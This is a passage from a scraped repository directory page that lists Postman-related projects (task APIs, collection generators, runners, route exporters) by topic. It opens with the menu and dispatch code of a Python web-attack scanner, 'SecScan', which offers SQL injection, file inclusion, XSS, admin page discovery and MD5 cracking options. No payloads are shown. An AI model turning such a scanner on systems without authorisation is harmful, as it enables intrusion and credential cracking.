lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() 4 stars 4 watchers 0 forks
seswho/CyberArk_EPM_Postman_Collection
automat, automate, collection, console, customer, customers, document, documentation, enable, example, examples, form, task, tasks 		The CyberArk Endpoint Privilege Manager Web Services enable you to automate tasks that are usually performed manually in the EPM console. Available for both on-premise and SaaS customers. Postman collection has documentation and examples 2 stars 2 watchers 1 forks
cassiomolin/tasks-rest-api
managing, rest, task, tasks 		Sample REST API for managing tasks using Spring Boot, Jersey, Jackson, MapStruct, Hibernate Validator and REST Assured. 0 stars 0 watchers 5 forks
kyleweishaar-zz/JIRA-postman
bunch, collection, postman collection, runs, script, task, tasks 		A script that runs postman collection to build a bunch of JIRA tasks 0 stars 0 watchers 4 forks
jabelk/cisco-nso-postman
cisco, collection, common, generate, grant, sample, task, tasks 		A collection of sample NSO API calls for common tasks, also used to generate the Swagger Docs Examples. All created using the nso-vagrant set up. 1 stars 1 watchers 0 forks
most-007/task-managment
document, email, file, html, link, mail, rest, task 		Cakephp app for task management and rest API to get all links in a given html document URL , and API to sent PDF file using postman to a given email 1 stars 1 watchers 0 forks
Shaykoo/task-manager-api
address, auth, authenticate, authenticated, authentication, data, database, email, mail, manager, notify, require, required, send, sends, site, store, stores, task, tasks, test, user, users, website 		This app is purely based on NodeJS. This app is a task manager app which stores all the users and their tasks in MongoDB database with required authentication of the user to create, read, update and delete the users and their own particular tasks plus when a user gets created or deleted the app sends them email to notify. Use the website address to test it on postman. Get authenticated before using the app on postman. 1 stars 1 watchers 0 forks
Mipside/ServletsTask_Part1
file, files, json, task, test, testing 		Servlets task with CRUD Operations, json files that are testing via Postman 0 stars 0 watchers 1 forks
Dev-Steven/restful_task_API
rest, restful, task, test, testing 		Created a RESTful task API and testing the API using Postman 0 stars 0 watchers 0 forks
dmc152/task2-jairo-newman
newman, rest, restapi, task, task2, test 		Todoist restapi test using postman and newman 0 stars 0 watchers 0 forks
jjian4/Task-Manager-API
account, auth, authentication, task, tasks, test, testing, token, tokens, user, users 		Create, read, update, delete users and tasks. Uses web tokens for account authentication. Built using Node.js, Express.js, and MongoDB/Mongoose. Used Postman for testing. 0 stars 0 watchers 0 forks
avirati/postman-task
description, script, task 		No description available. 0 stars 0 watchers 0 forks
luxie11/note-app
application, creation, framework, note, saving, task, tasks, test, testing, user 		An API created for saving user tasks. For API testing used Postman. This API can be user for WEB application creation with React, Vue or any front-end framework. 0 stars 0 watchers 0 forks
netdetpla/task-postman
description, script, task 		No description available. 0 stars 0 watchers 0 forks
zcmich/task_user_postman
description, script, task, user 		No description available. 0 stars 0 watchers 0 forks
5FMTB/Todo
connection, data, database, framework, list, local, modify, task, tasks 		API with local database connection (.NET Core, Entity framework). This project is a Todo list, where you can add, modify or delete tasks using postman. 0 stars 0 watchers 0 forks
Adel5749/Springboot-rest-api-taskSchedule-UsingPostmanForTest
boot, rest, rest api, task 		Spring Boot rest api 0 stars 0 watchers 0 forks
alexsanya/Postman
task, technical 		Test technical task for PlayKot 0 stars 0 watchers 0 forks
AndrewJBateman/mean-task-manager
manager, mean, task, tasks, tutorial 		MEAN full-stack tutorial app to manage tasks. Frontend: Angular 9 0 stars 0 watchers 0 forks
Asif-pasha/taskbox
operation, operations, plugin, related, task 		API related CRUD operations using POSTMAN plugin 0 stars 0 watchers 0 forks
atzawada/concourse-postman-task
concourse, course, running, task, test, tests 		A task to better handle running Postman tests in Concourse. 0 stars 0 watchers 0 forks
bera5186/task-manager-API
application, applications, auth, authentication, manager, task 		A complete REST API for To-Do applications with JWT based authentication and MongoDB 🔥⚡ 0 stars 0 watchers 0 forks
ChrisSun99/SeeTheUnseen
assist, reading, task, tasks, user, users 		An Android app using Cloud OCR to assist text reading tasks for users with vision impairment. 0 stars 0 watchers 0 forks
devbaggett/restful_task_api
application, operation, operations, rest, restful, routing, task 		created an application with routing rules which offer CRUD operations using POSTMAN API 0 stars 0 watchers 0 forks
dydeepak97/postman-task
exercise, hiring, intern, task 		Small exercise for intern hiring. 0 stars 0 watchers 0 forks
GProSoftware828/Postman_collection_sandbox
collection, sandbox, task 		Make a Trello.com task management board using these API calls from Postman- all ready to go! 0 stars 0 watchers 0 forks
hasandeveloper/taskbox
developer, form, operation, task 		Performing create,update,destroy operation through postman 0 stars 0 watchers 0 forks
jake1808/Working_With_Postman
task, task2 		task2 0 stars 0 watchers 0 forks
Jespert88/FinalJavaTask
api blueprint, asyncapi, client, hibernate, java, json schema, mysql, oauth, openid, postgres, postgresql, spring, sql, task 		Final java task where i have to build a RESTful Api with Java + spring + hibernate + mysql/postgresql + client(HTML / Postman)) 0 stars 0 watchers 0 forks
Kdodd1/taskAPI
task, test 		Create API test with POSTMAN 0 stars 0 watchers 0 forks
KenC1014/Task-management-app
access, application, backend, endpoint, endpoints, file, files, server, task 		This contains all server side Node.js files for task management application. This is a pure backend application. All the endpoints are accessible via Postman. Express server and Mongoose are used. 0 stars 0 watchers 0 forks
krukarkonrad/task
file, files, folder, module, modules, node, task 		[Internship Assignment]Simple REST API (unzipping may be surprisingly "long" because of "root/node_modules" folder amount of small files) 0 stars 0 watchers 0 forks
kullapareddypranay/task-manager-api
access, manager, related, rest, task 		rest-api ,Use postman or others related for accessing the api 0 stars 0 watchers 0 forks
MahmoudNafea/task-manager-app
compass, data, database, find, heroku, host, hosting, link, manager, task 		Using Node js and MongoDB NO SQL database through MongoDB compass hosting and deployed on heroku. Kindly find the link to interact with the database through postman. 0 stars 0 watchers 0 forks
mbMosman/serverside-tasks-with-sub-cat
action, data, database, object, objects, server, servers, serverside, task, tasks, transactions 		Serverside code only for a tasks database with subtasks and categories with Postman Tests. (Postgres/pg with JSON objects & transactions) 0 stars 0 watchers 0 forks
mehulr7/Al-Tayer-Postman-task
task 		Automated JSON Script 0 stars 0 watchers 0 forks
muralimano28/postman-task
front end, task 		Postman front end dev task. Replicating whatsapp web. 0 stars 0 watchers 0 forks
Murray918/taskCrudApi
endpoint, endpoints, task, track 		using postman to track endpoints 0 stars 0 watchers 0 forks
patrick-castro/task-manager-api
application, auth, authentication, automat, automate, automated, development, email, explore, import, mail, manager, operation, operations, package, packages, party, server, server., service, services, task, user, web app 		A task manager API that explores important features of a web application, which are CRUD operations, user authentication, automated email transmission and many more with the help of various NPM packages and third party services. In development, Postman was used to make HTTP requests to the server. 0 stars 0 watchers 0 forks
pgmorgan/task-manager-api
featured, manager, morgan, task 		A full featured Task Management HTTP REST API built with Node.js and MongoDB. 0 stars 0 watchers 0 forks
samovolkinmaxim/Postman-task
task, test 		This is a test repo for Postman task 0 stars 0 watchers 0 forks
sayamnasir23/post-man
github, issue, task 		postman github issues task 0 stars 0 watchers 0 forks
SerhiiY/food-delivery-server-goit
branch, course, data, database, express, http, list, module, node, product, products, queries, server, server., task, test, tested, user 		A course task with using node.js server. All queries were tested by Postman. App can give products list or user by id and write a new product or user to the database. On master branch used http module, on express-hw branch express.js is used. 0 stars 0 watchers 0 forks
tomdseo/Task-Managing-API
description, script, storing, task 		Simple RESTful API storing task titles and descriptions using MongoDB and Postman 0 stars 0 watchers 0 forks

generator (44 listings) (Back to Top)

mpociot/laravel-apidoc-generator
apidoc, generator, laravel 		Laravel API Documentation Generator 2548 stars 2548 watchers 444 forks
aubm/postmanerator
collection, collections, document, documentation, generator 		A HTTP API documentation generator that use Postman collections 448 stars 448 watchers 65 forks
postmanlabs/postman-code-generators
generator, generators 		Common repository for all code generators shipped with Postman 144 stars 144 watchers 70 forks
djfdyuruiry/swagger2-postman-generator
bodies, collection, collections, generate, generator, sample, swagger, swagger2 		Use Swagger v2 JSON Collections to generate Postman v1 collections which include sample request bodies 28 stars 28 watchers 14 forks
api-platform/postman-collection-generator
collection, form, generator, platform 		Generator for Postman collection based on API Platform 25 stars 25 watchers 9 forks
f1nnix/docman
generator 		Docs generator for Postman REST Client 12 stars 12 watchers 3 forks
AlbertLabarento/postman-collection-generator
bare, collection, function, functional, generator, integrate, integrated, package, test, tests 		Postman collection generator for your api's. Best used for your functional tests integrated with this package. 4 stars 4 watchers 3 forks
benfluleck/random-phone-number-generator
file, generate, generator, implements, java, javascript, order, phone, random, script, spec 		Random number generator is a full stack javascript app that implements a simple way to generate phone numbers in a file in an order specified 4 stars 4 watchers 2 forks
palantir/conjure-postman
conjure, generator 		Conjure generator for Postman 0 stars 0 watchers 5 forks
ghostframe/postmandoc
generator, host, projects 		Postman Collection generator for Spring Rest Docs projects 0 stars 0 watchers 4 forks
Cazaimi/postman-environment-generator
collection, environment, generator, names, variable 		An app that creates a Postman environment for all the variable names in your Postman collection 1 stars 1 watchers 1 forks
metasys-server/apib-2postman
generator, meta, print, server 		An API Blueprint to Postman Collection generator 1 stars 1 watchers 1 forks
postmanlabs/codegen-curl
codegen, curl, generator, snippet 		curl snippet generator for Postman Requests 1 stars 1 watchers 1 forks
raw34/postman-collection-generators
charles, collection, file, files, generator, generators, openapi, postman collection, swagger 		Generate postman collection from files, like postman, openapi, swagger, charles... 1 stars 1 watchers 0 forks
flipboxstudio/postman-test-generator
description, generator, script, studio, test 		No description available. 0 stars 0 watchers 2 forks
MadAppGang/postman-doc-generator
document, documentation, generator 		Postman documentation generator 1 stars 1 watchers 0 forks
Odusanya18/postman-to-slate-examples
docs, example, examples, generate, generated, generator, holds, java, slate 		This holds example docs generated by the postman to slate generator written in java 1 stars 1 watchers 0 forks
ScottReed/iis-redirect-generator
config, generating, generator, postman tests, rating, redirect, test, tests 		A redirect generator for generating IIS redirects in web.config and postman tests 1 stars 1 watchers 0 forks
tripathysagar/AUK
collection, document, file, generator, path, postman collection, result, version 		first version of document generator for postman collection result. please run main.py , and update the name of the file in main.py 1 stars 1 watchers 0 forks
ingatlancom/escher-postman
auth, authentication, escher, generator 		Postman Pre-request Script generator for Escher authentication 0 stars 0 watchers 2 forks
codotype/codotype-postman-collection-generator
collection, generator, postbox, type 		:postbox: Codotype generator for Postman Collections 0 stars 0 watchers 1 forks
accubits/API-doc-auto-generator
collection, document, documentation, generate, generator 		Simple app to generate API documentation from Postman collection 0 stars 0 watchers 1 forks
darkestpriest/postman-environment-generator
config, configuration, environment, environments, generate, generates, generator, library 		A library that generates environments for postman using a simple configuration 0 stars 0 watchers 1 forks
piagarwal11/postman_collection_generator
collection, generator 		Postman collection generator for Spring Rest API 0 stars 0 watchers 1 forks
Shekhar-Shashank/Complaint-Lodging
android, api blueprint, asyncapi, complaint, data, database, design, designed, dummy, flask, front end, generator, java, json schema, lang, language, oauth, openid, parse, python, rest, restful, server, sql, sqlite, studio, test, testing 		It is an android complaint lodging app in which the front end is designed in android studio using java language. The restful API that the app interacts with is made using python flask. The database used is sqlite. And the language used to parse the data from the server is Json. For testing the requests like get and post we used postman as a dummy request generator. 0 stars 0 watchers 0 forks
aayush962/postman-doc-generator
description, generator, script 		No description available. 0 stars 0 watchers 0 forks
ah-oss/postman-collection-generator
collection, description, generator, script 		No description available. 0 stars 0 watchers 0 forks
ankit-m/postman-collection-generator
collection, description, generator, script 		No description available. 0 stars 0 watchers 0 forks
paul-nelson-baker/aws-postman-environment-generator
description, environment, generator, script 		No description available. 0 stars 0 watchers 0 forks
crisplaver/postman-document-generator
collection, document, file, generate, generator, html, json 		generate postman html page using collection v2.1 json file 0 stars 0 watchers 0 forks
FP-GmbH/fcm-oauth-generator
api blueprint, asyncapi, auth, bearer, client, generator, json schema, oauth, openid, sql, token, tool, tools 		FCM oAuth generator provides you with with a bearer token to sign on in postman or other client tools. 0 stars 0 watchers 0 forks
huangshan108/postman-collection-generator-schoolmint
collection, generator, school, schoolmint, spec, version 		This is a SchoolMint specific version. 0 stars 0 watchers 0 forks
imikemiller/lumen-swagger-generators
docs, generator, generators, import, imported, library, parse, parser, swagger, wrapper 		A wrapper for the swagger-php library. Does not include swagger-ui the docs JSON can be imported into Postman or another Swagger / Open API parser 0 stars 0 watchers 0 forks
JamieDixon/postman-generator
generator 		Created with CodeSandbox 0 stars 0 watchers 0 forks
layoutzweb/postman-collection-generator
backend, collection, express, generator, middleware, rest 		Generate a collection from your middleware based api backend (express, restify, koa...) 0 stars 0 watchers 0 forks
mblarsen/postman-generator-v1
collection, document, documents, generator, object, objects 		Creates postman v1 collection documents from JSON objects 0 stars 0 watchers 0 forks
sharrop/swag-post-gen
excel, fields, file, form, generator, inject, module, require, required, swagger, swagger2, test, tests, type 		A Swagger(OAS)v2-to-Postman generator - very much sitting on the shoulders of the excellent npm:swagger2-postman-generator module, but injecting Postman tests for required fields and type conformance - derived from the Swagger/OAS file. 0 stars 0 watchers 0 forks
someshkoli/postman-collection-codegen
codegen, collection, generator, postman collection 		A sdk generator for entire postman collection. 0 stars 0 watchers 0 forks
Soontao/postman-docx-generator
collection, document, file, generator, postman collection 		Generate word document from postman collection JSON file 0 stars 0 watchers 0 forks
Sridatta19/postman-docsite
collection, docs, document, documentation, generator, postman collection, site 		documentation site generator for postman collection 0 stars 0 watchers 0 forks
ThePlenkov/newman-collection
collection, collections, generator, list, newman 		Minimalistic Postman/Newman collections generator 0 stars 0 watchers 0 forks
TsingJyujing/postman-collection-generator
collection, generator, postman collection 		A postman collection generator written in Python. 0 stars 0 watchers 0 forks
vishweswaran-p/postman-doc-generator
collection, file, generator, package, postman collection, xlsx 		This package is used to create an xlsx file from the postman collection. 0 stars 0 watchers 0 forks
zhihuiwang88/ssmgenerator03
controller, entity, generator, java, service 		1. 此项目是SSM，使用代码生成器(mybatis-generator)自动生成dao、entity、mapper.xml ,需要自己写controller、service、serviceImpl。不是mybatis-plus-generator自动生成的代码。 2. 使用的日志是log4j 3.简单的CRUD接口写好了且postman测试通过。没有前端页面。 4. 测试类(HouseXiaoServiceImplTest.java)也测试通过。 5. 项目中的DTO、VO没有用到，如果用了，不知道接口测通不。 0 stars 0 watchers 0 forks

runner (43 listings) (Back to Top)

postmanlabs/newman
collection, command, newman, runner 		Newman is a command-line collection runner for Postman 4326 stars 4326 watchers 649 forks
k3rn3l-p4n1c/postpython
collection, library, python, runner 		Postman collection runner library for python 29 stars 29 watchers 7 forks
poynt/postman-runner
collection, collections, module, runner 		A module to run a POSTMAN collections. 0 stars 0 watchers 35 forks
httprunner/postman2case
case, cases, http, httprunner, runner, test, testcase 		Convert Postman Collection Format to JSON/YAML testcases for HttpRunner. 0 stars 0 watchers 8 forks
faressoft/postman-runner
active, collection, collections, interactive, interactively, postman collection, postman collections, product, productivity, runner, tool 		CLI productivity dev tool to run postman collections interactively 3 stars 3 watchers 0 forks
michaelruocco/gradle-postman-runner
collection, collections, gradle, plugin, runner 		A gradle plugin to run Postman collections 0 stars 0 watchers 6 forks
ildanno/forgeman
forge, runner, test, test run 		Command-line test runner built on top of Postman/Newman 2 stars 2 watchers 1 forks
ekino/docker-newman
collection, command, docker, image, newman, runner, whale 		:whale: Docker image to easily start Newman, the command-line collection runner for Postman 2 stars 2 watchers 0 forks
hanikhan/postman-collection-runner
collection, collections, export, exported, generate, module, newman, report, reports, runner 		Uses postman's newman module to run exported POSTMAN collections and generate detailed reports 1 stars 1 watchers 1 forks
vagabond1-1983/API-Testing
http, httprunner, jmeter, runner 		API测试：postman，jmeter，yapi，httprunner，自研接口框架，ci 1 stars 1 watchers 1 forks
matt-ball/newman-action
action, collection, headless, newman, runner 		Use Postman's headless collection runner, Newman, via a GitHub Action. 0 stars 0 watchers 3 forks
yapily/yapily-api-test-suite
collection, runner, test, yapily 		Postman collection runner for Yapily API's 1 stars 1 watchers 0 forks
fixate/jest-runner-newman
jest, newman, runner, tool 		A Jest runner for Postman's Newman CLI tool 0 stars 0 watchers 2 forks
codeasashu/python-postman-parser
collection, parse, parser, postman collection, python, runner 		A postman collection parser and runner written in python 1 stars 1 watchers 0 forks
dgarcia202/prunner
collection, postman collection, runner 		postman collection runner in go 1 stars 1 watchers 0 forks
bilgetech/postaci
runner, test, test run 		Continuous test runner for Postman. 0 stars 0 watchers 2 forks
m3steele/xm-labs-PostMan-APIs
runner, runners 		Adds all xMatters API's to Postman. Includes helpful runners. 0 stars 0 watchers 2 forks
reportportal/agent-postman
agent, report, reporting, runner 		Agent for Postman reporting (based on NewMan runner) 0 stars 0 watchers 2 forks
flash286/postman-load-testing
collection, collections, lang, newman, parallel, postman collection, postman collections, runner, test, testing, tool 		This tool written on go lang, help to run postman collections in parallel mode. So you can use it for load testing based on postman collections. As a runner it uses newman. 0 stars 0 watchers 1 forks
mohamed-abdo/api-test-suit
python, runner, test 		postman runner from python 0 stars 0 watchers 1 forks
wcandillon/courrier
parallel, runner 		Postman runner that can run requests in parallel 0 stars 0 watchers 1 forks
aplorenzen/selenium-example
automat, automate, example, newman, regression, runner, selenium, smoke, test, testing 		An example of how Selenium IDE, selenium-side-runner, Postman and newman can be used to automate regression and smoke testing 0 stars 0 watchers 0 forks
gmanideep1991/gradle-newman-runner
collection, collections, development, generate, gradle, newman, postman collection, postman collections, report, reports, runner 		Run postman collections and generate reports. Still in development. 0 stars 0 watchers 0 forks
coatsnmore/postman-runner
advance, advanced, runner, test, testing 		Opinionated Postman Collection Runner for advanced API testing 0 stars 0 watchers 0 forks
gustavosvalentim/postrunner
collection, collections, runner 		Library to run Postman collections using Python. 0 stars 0 watchers 0 forks
jiramot/postman_runner_jenkins
description, jenkins, jira, runner, script 		No description available. 0 stars 0 watchers 0 forks
lvadim01/postman-newman-test-runner
description, newman, runner, script, test 		No description available. 0 stars 0 watchers 0 forks
reddysainathn/postman-runner
description, runner, script 		No description available. 0 stars 0 watchers 0 forks
VAlux/postman-collection-runner
collection, description, runner, script 		No description available. 0 stars 0 watchers 0 forks
flaviostutz/postman-runner
environment, environments, integration, local, runner, running, script, scripts, test, tests, tool, tools 		Container with tools for running Postman scripts for integration tests on local or CI environments 0 stars 0 watchers 0 forks
gerrywen/postman2runner
runner 		postman2runner 0 stars 0 watchers 0 forks
kharandziuk/newman-usecase
case, newman, runner, sample 		a sample project to show newman(a postman cli runner) 0 stars 0 watchers 0 forks
mamund/norman
newman, runner, runs, test, test run 		test runner for cli postman runs using newman 0 stars 0 watchers 0 forks
mastermalone/bundle_runner_files
bundle, file, files, json, runner, runners, script, scripts 		Bash scripts to create .json files used for Postman runners 0 stars 0 watchers 0 forks
Miheev/newman-runner
collection, collections, instance, instances, multiple, newman, runner 		The Runner of API Integration Tests. Run Postman based collections via multiple Newman instances. 0 stars 0 watchers 0 forks
Ppamo/newman_runner
docker, image, newman, package, runner, test, tests 		A docker image to run Postman tests using Newman NPM package 0 stars 0 watchers 0 forks
shcarroll/postman-newman-gitlab
collection, collections, command, command line, file, gitlab, newman, runner, test, tests 		Example repo containing Postman collections of API tests, Newman command line runner for these and a Gitlab CI file 0 stars 0 watchers 0 forks
tester-xm/NewmanRunner
newman, runner, test, tester 		A runner for newman&postman 0 stars 0 watchers 0 forks
thandon263/newman-stub
comparing, data, example, examples, newman, runner, test, test run 		This is a newman test runner for comparing api response data to stub examples. 0 stars 0 watchers 0 forks
TSQAteam/Automated-API-Testing-Using-Postman-Collections
collection, description, executable, folder, folders, runner, script, send, test, tests 		A Postman Collection is an executable API Description. Organize requests into folders. Document the collection with descriptions, tests, and more. Send requests individually, or use collection runner to send all the requests in the collection. 0 stars 0 watchers 0 forks
TylerMoser/postmanrunner
alternative, collection, collections, executing, native, runner, test 		An alternative UI for executing Postman test collections 0 stars 0 watchers 0 forks
VarshaKulkarni83/ecomm-apitest-postman
apitest, collection, drive, driven, newman, postman collection, runner, test 		Data driven postman collection runner using newman 0 stars 0 watchers 0 forks
xraybat/groovy-postman-collection-runner
collection, groovy, json, parse, postman collection, runner, summary 		groovy postman collection runner json parse and summary 0 stars 0 watchers 0 forks

routes (43 listings) (Back to Top)

Inn4ki/chatapp
admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app 		NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js 4 stars 4 watchers 5 forks
RL-Studio/laraman
export, fluent, route, routes 		A fluent way to export your Laravel routes to a Postman export. 0 stars 0 watchers 6 forks
zprager/mongo-express-auth-demo
auth, authentication, bcrypt, directory, express, included, mongo, route, routes, user 		Boiler plate for user authentication with bcrypt, jwt, mongo, and express from Heroku. Postman routes included in root directory. 0 stars 0 watchers 6 forks
sojeda/laravel-postman
laravel, route, routes 		Export laravel API routes to postman 0 stars 0 watchers 3 forks
Rachel-Hofer/Ironhack-Project3-Client-Side
mini, minimum, model, models, route, routes, script 		Week-9, Project 3 - MERN Application Assignment: Minimum 3 models. Include sign-up / sign-in / sign-out with encrypted passwords. Have full CRUD routes for a minimum of 2 models. Use React for Front End. Technologies: React.js, Javascript, Node.js, HBS, CSS, Bootstrap, jQuery, Passport.js, Cloudinary.js, AJAX, MongoDB, Postman, GoogleMapsAPI 1 stars 1 watchers 1 forks
Rachel-Hofer/Ironhack-Project3-Server-Side
mini, minimum, model, models, route, routes, script 		Week-9, Project 3 - MERN Application Assignment: Minimum 3 models. Include sign-up / sign-in / sign-out with encrypted passwords. Have full CRUD routes for a minimum of 2 models. Use React for Front End. Technologies: React.js, Javascript, Node.js, HBS, CSS, Bootstrap, jQuery, Passport.js, Cloudinary.js, AJAX, MongoDB, Postman, GoogleMapsAPI 1 stars 1 watchers 1 forks
nkitku/laravel-to-postman
laravel, portable, route, routes 		Create Importable Json File for PostMan from laravel routes 1 stars 1 watchers 0 forks
fazulk/postman_builder
automat, automatic, automatically, builder, express, route, routes 		Generate postman routes automatically based upon express or koa routes 1 stars 1 watchers 0 forks
Umang080799/CRUD-App-
action, book, books, details, form, host, local, object, objects, reading, rest, restful, route, routes, server, updating 		I made a Crud App using Node.js,Express.js and Mongoose.js. I built out a book Schema for creating,reading,updating and deleting books. Used Express Scripts to create routes that will form the basis for a restful API. Used POSTMAN to perform actions on the routes All the book details were altered as JSON objects. I created and used Google Chrome to confirm the changes made on the local host server port 8080. 1 stars 1 watchers 0 forks
udartsev/LaravelPostmanExport
collection, file, json, package, route, routes 		Laravel 5.8+ package to create Postman_collection.json file with Laravel routes 0 stars 0 watchers 1 forks
Vachman/rails_to_postman
rails, route, routes 		Export rails routes to Postman REST Client 0 stars 0 watchers 1 forks
bwainaina380/rest-api-setup
client, rest, route, routes, server, setting, setup, test, testing 		This is practice for setting up a REST API with routes and a server and testing that everything is working using Postman client 0 stars 0 watchers 0 forks
cmullins777/REST-API
course, data, database, design, model, modeling, persistence, register, retrieve, route, routes, school, test, testing, user, users, validation 		A school database where registered users can retrieve, add, update, and delete courses in the database. This project uses REST API design, Node.js, and Express to create API routes, and the Sequelize ORM for data modeling, validation, and persistence, as well as Postman for testing. 0 stars 0 watchers 0 forks
doug97703/401-28-react-api-testing-app
react, route, routes, test, testing 		An app similar to Postman for testing API routes. Built on React 0 stars 0 watchers 0 forks
nicolaskuster/laravel-apidoc
apidoc, laravel, route, routes 		Generates a Postman Collection of all your routes 0 stars 0 watchers 0 forks
potaeko/Contact-Keeper-with-React
auth, authentication, cloud, course, current, data, database, route, routes, test, testing 		Contact Keeper with JWT authentication created with MongoDB Atlas cloud database, Express, React, Node.js (MERN) , JSON Web Tokens (JWT), Concurrently npm and testing routes with POSTMAN. Project from Udemy online course 0 stars 0 watchers 0 forks
SalahEddine007/mern_devconnector
action, application, backend, bank, basics, component, components, container, course, editor, elegant, endpoint, endpoints, extension, frontend, includes, integrate, mern, network, rating, resource, resources, route, routes, script, social, source, stat, test, testing, workflow 		Welcome to "MERN Stack Front To Back". In this course we will build an in depth full stack social network application using Node.js, Express, React, Redux and MongoDB along with ES6+. We will start with a bank text editor and end with a deployed full stack application. This course includes... Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension Creating a build script, securing our keys and deploy to Heroku using Git This is NOT an "Intro to React" or "Intro to Node" course. It is a practical hands on course for building an app using the incredible MERN stack. I do try and explain everything as I go so it is possible to follow without React/Node experience but it is recommended that you know at least the basics first. 0 stars 0 watchers 0 forks
brunocouty/laravel-api-test
application, laravel, package, route, routes, test 		Similar to "postman" (of Google Chrome), this package help you to test your API routes directly in your application. 0 stars 0 watchers 0 forks
guys1444/node.js-socialNetwork
action, backend, component, components, container, elegant, endpoint, endpoints, extension, frontend, integrate, node, rating, resource, resources, route, routes, social, source, stat, test, testing, workflow 		socialNetwork that ive made in node.js Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension ,MERN STACK 0 stars 0 watchers 0 forks
HP213/My_first_blockchain
